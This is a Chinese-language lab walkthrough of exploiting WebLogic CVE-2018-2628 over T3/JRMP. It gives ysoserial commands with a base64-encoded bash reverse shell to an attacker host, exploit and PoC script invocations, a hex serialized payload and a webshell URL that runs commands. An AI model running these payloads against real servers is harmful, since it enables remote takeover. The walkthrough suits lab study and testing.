目录
原理
远程攻击者可利用该漏洞在未授权的情况下发送攻击数据,通过T3协议(EJB支持远程访问,且支持多种协议。这是Web Container和EJB Container的主要区别)在Weblogic Server中执行反序列化操作,利用RMI(远程方法调用) 机制的缺陷,通过 JRMP 协议(Java Remote Messaging Protocol:java远程消息交换协议)达到执行任意反序列化 payload 的目的。
T3协议缺陷实现了Java虚拟机的远程方法调用(RMI),能够在本地虚拟机上调用远端代码。
- 反射机制:JAVA反射机制是在运行状态中,对于任意一个类,都能够知道这个类的所有属性和方法;对于任意一个对象,都能够调用它的任意一个方法和属性;这种动态获取的信息以及动态调用对象的方法的功能称为java语言的反射机制。
- RMI:RMI是J2SE的一部分,能够让程序员开发出基于java的分布式应用。一个RMI对象是一个远程Java对象,可以从另一个Java虚拟机上(甚至跨过网络)调用它的方法,可以像调用本地Java对象的方法一样调用远程对象的方法,使分布在不同的JVM中的对象的外表和行为都像本地对象一样。
- RMI传输过程都使用序列化和反序列化,如果RMI服务端端口对外开发,并且服务端使用了像Apache Commons Collections这类库,那么会导致远程命令执行。
- RMI依赖于Java远程消息交换协议JRMP(Java Remote Messaging Protocol),该协议为java定制,要求服务端与客户端都为java编写。
影响版本:
- Weblogic 10.3.6.0
- Weblogic 12.1.3.0
- Weblogic 12.2.1.2
- Weblogic 12.2.1.3
进入到管理查看IP:7001/comsole 看得到Weblogic 10.3.6.0
常规利用方式:
信息收集
使用nmap的脚本判断下是否使用了T3协议,能够发现目标使用了T3
nmap -n -v -p 7001,7002 <target_ip> --script=weblogic-t3-info
漏洞检测方法
进入工具所在目录:安装依赖库
usage: ws.py [-h] -t TARGETS [TARGETS ...] -v VULNERABILITY
[VULNERABILITY ...] [-o OUTPUT]
optional arguments:
-h, --help 帮助信息
-t TARGETS [TARGETS ...], --targets TARGETS [TARGETS ...]
直接填入目标或文件列表(默认使用端口7001). 例子:
127.0.0.1:7001
-v VULNERABILITY [VULNERABILITY ...], --vulnerability VULNERABILITY [VULNERABILITY ...]
漏洞名称或CVE编号,例子:"weblogic administrator console"
-o OUTPUT, --output OUTPUT
输出 json 结果的路径。默认不输出结果
-s, --ssl 强制使用 https 协议请求
python ws.py -t 192.168.128.142 -o result 检测所有的,保存为json文件
能够发现存在2018-2628漏洞
攻击操作
攻击者使用ysoserial启动一个JMRP Server
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 19111 CommonsCollections1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEyMy4xOTIvMTkxMTAgMD4mMQ==}|{base64,-d}|{bash,-i}"
JMRP Server在19111端口上监听请求,向目标服务器发送序列化的bash反弹shell命令,反弹监听的端口为19110
nc监听19110端口
使用exploitdb的exp向目标发送攻击载荷。
python exp_CVE-2018-2628.py 192.168.159.129 7001 ysoserial.jar 192.168.123.192 19111 JRMPClient
查看监听:拿到了shell
另一种方式
同样使用ysoserial启动一个JMRP Server,监听一个端口,这样靶机上的weblogic进行远程方法调用时,可以连接到kali主机 最后的calc.exe是命令→打开计算器
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 11111 CommonsCollections1 calc.exe //CommonsCollections1 最后是数字 1
这个结果就是成功了。要知道IP地址为192.168.128.143
再开一个终端:使用ysoserial生成一个payload字符串→要实现weblogic远程调用kali主机上的方法。
java -jar ysoserial-master.jar JRMPClient 192.168.128.143:22801 | xxd -p | tr -d $'\n' && echo
aced0005737d00000001001a6a6176612e726d692e72656769737472792e5265676973747279787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707372002d6a6176612e726d692e7365727665722e52656d6f74654f626a656374496e766f636174696f6e48616e646c657200000000000000020200007872001c6a6176612e726d692e7365727665722e52656d6f74654f626a656374d361b4910c61331e03000078707738000a556e6963617374526566000f3139322e3136382e3132382e313433000059110000000007b543f300000000000000000000000000000078
这个payload的字符串复制到weblogic_poc.py文件中替换其中的PAYLOAD。
修改目标靶机的IP地址
在windows可以使用weblogic_poc.py进行漏洞利用了。漏洞利用成功后程序会输出反序列化程序发送的数据包信息。执行需要python2,这里就使用kali执行了。
目标服务器上的weblogic中的JVM虚拟机远程调用了监听程序中的方法向目标服务器返回了payload。
执行后,监听返回的二进制文件就是计算器。。
EXP和目标服务器建立T3连接,目标服务器weblogic上的JVM虚拟机远程调用了监听程序中的方法执行序列化操作,将流量反弹到nc上
参考:Weblogic T3反序列化漏洞(CVE-2018-2628) - 简书
exp利用方式
下载poc直接输入命令测试是否存在漏洞。
python2 CVE-2018-2628-poc.py 192.168.128.142 7001
结果: >>>> 192.168.128.142:7001 is vul CVE-2018-2628 存在
使用exp直接getshell
访问最下面那个地址:可以看到是root权限。
分析URL,其中tom的参数就是执行的命令,使用了base6编码
http://192.168.128.142:7001/bea_wls_internal/wlscmd.jsp?tom=d2hvYW1pCg==
这样可能不方便:还有直接交互的脚本,输入链接地址就行。